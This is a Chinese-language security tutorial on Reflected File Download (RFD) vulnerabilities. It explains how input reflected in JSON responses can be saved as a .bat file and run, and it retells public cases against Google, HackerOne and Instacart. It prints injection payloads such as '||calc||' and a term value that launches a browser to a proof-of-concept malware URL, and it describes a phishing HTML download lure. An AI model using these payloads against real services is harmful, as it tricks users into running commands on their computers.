RFD(反射型文件下载)漏洞原理及实战案例全汇总

RFD(反射型文件下载)漏洞原理及实战案例全汇总

閱讀本文約花費: 4 (分鐘)

1、概念

RFD,即Reflected File Download反射型文件下载漏洞,是一个2014年来自BlackHat的漏洞。这个漏洞在原理上类似XSS,在危害上类似DDE:攻击者可以通过一个URL地址使用户下载一个恶意文件,从而危害用户的终端PC。

这个漏洞很罕见,大多数公司会认为它是一个需要结合社工的低危漏洞,但微软,雅虎,eBay,PayPal和其他许多公司认为这是一个中危漏洞。

2、漏洞原理

先从一个实例理解RFD漏洞,如Google搜索的返回包是json格式:

 可见我们的输入在返回包处反射输出,如果输入payload”||calc||,返回:

到这仍没什么问题,但如果我们尝试在命令行里运行这个回显内容,如

{“result”:[“q”,”rfd”||calc||”,”jayway”]}

  发现在显示“文件名或目录不存在”的同时,会执行我们的管道符后的命令calc,弹出计算器。解析过程实际为:

 所以和DDE的攻击方法类似,我们最终要是让回显内容作为一个bat文件下载,这可以通过分号;或结合社会工程的方式实现:

注:URL中分号;是个保留字符,类似连接符,现已废除。

3、漏洞挖掘

根据漏洞触发的三个条件挖掘漏洞:

1)输入反射:用户输入被“反射”到响应内容。

2)文件名可控: URL允许并接受用户的其他输入,攻击者将其用于将文件扩展名设置为可执行扩展名。

3)下载:响应被作为文件里的内容进行下载,这里可以控制Content-Type或者在自己的服务器上创建一个HTML文件,设置download属性,诱导点击下载。

4、实战案例:

1)  Google

这是Oren Hafif在google利用的例子。在facebook中插入的一个google超链接,如下形式内容:

https://www.google.com/s;/ChromeSetup.bat;/ChromeSetup.bat?gs_ri=psy-ab&q=%22%7c%7c%74….点击后会下载一个bat文件到本地,下载后直接运行效果如下:

 成功执行了一个shutdown命令,先用了一个双引号闭合掉前面的不可控的双引号,然后利用||符号(命令行中||表示逻辑“或”)保证命令成功执行。

2)  Hackerone

 在编辑字段中输入text”|| calc ||:

 保存,回到编辑543数据edit页面:

  保留参数543,删除/edit,追加点.发现得到json回显,这里加上.bat:

  由于因为这个链接返回json值而不是下载,所以这里可以在自己的服务器构造一个钓鱼html文件,设置为download属性,自动下载bat文件:

  用户点击文件,因为链接来自可信地址,所以容易中招:

3)  Instacart

  关注json返回包,请求

https://www.instacart.com/api/v2/searches?cart_id=3471936&term=rfd&page=1

发现term参数回显:

{“meta”:{“code”:200,”source”:”search_service”,”cluster”:null},”data”:{“term”:”rfd”,”inventory_area_id”:617,”items”:[],”total_results”:0,”aisles”:[],”warehouses”:[],”search_strategies”:[],”tracking”:{},”product_type_filter”:false,”has_deals”:false,”search_id”:141585110},”pagination”:{“total”:0,”page”:1,”per_page”:50}}

将term参数设为:

“||start chrome davidsopas.com/poc/malware.htm||

创建html文件诱导下载:

     当前,业界对RFD这个漏洞见解不一,危害上可能接近于self-xss,但结合社工等手段尤其在社交场合能造成的危害还是可以很大的

Rate this post

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注